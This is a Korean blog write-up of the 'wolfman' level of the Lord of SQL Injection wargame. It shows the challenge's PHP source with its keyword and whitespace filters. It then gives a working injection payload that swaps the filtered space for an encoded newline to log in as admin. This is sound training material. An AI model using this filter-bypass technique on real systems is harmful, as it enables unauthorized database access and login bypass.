728x90
반응형

query : select id from prob_wolfman where id='guest' and pw=''

 

<?php 

  include "./config.php"

  login_chk(); 

  $db dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  if(preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 

  $query "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"

  echo "<hr>query : <strong>{$query}</strong><hr><br>"

  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"

  if($result['id'] == 'admin'solve("wolfman"); 

  highlight_file(__FILE__); 

?>

 

 

코드 해석

if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  • pw "prob"  "_"  "."  "("  ")" 포함될 경우 "No Hack ~_~" 출력

if(preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 

  • pw " "(띄어쓰기) 포함될 경우 "No whitespace ~_~" 출력

 

 $query "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"

  • Qurey id guest으로 고정되어 있음
  • Qurey pw GET 방식으로 삽입

 

if($result['id'] == 'admin'solve("wolfman"); 

  • id 'admin' 경우 문제 해결

 

 

문제 해결

 " "(띄어쓰기,%20) 필터링이 되기 때문에 띄어쓰기 대신 Endline(%0a) 삽입

  • GET 방식으로 URL SQL 대입 ( ?pw='%0aor%0aid='admin'%23 )
  • query : select id from prob_wolfman where id='guest' and pw='' or id='admin'#'
728x90

'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글

[ LS - 07 ] orge  (0) 2021.12.18
[ LS - 06 ] darklef  (0) 2021.12.18
[ LS - 04 ] orc  (0) 2021.12.18
[ LS - 03 ] goblin  (0) 2021.12.18
[ LS - 02 ] cobolt  (0) 2021.12.18

+ Recent posts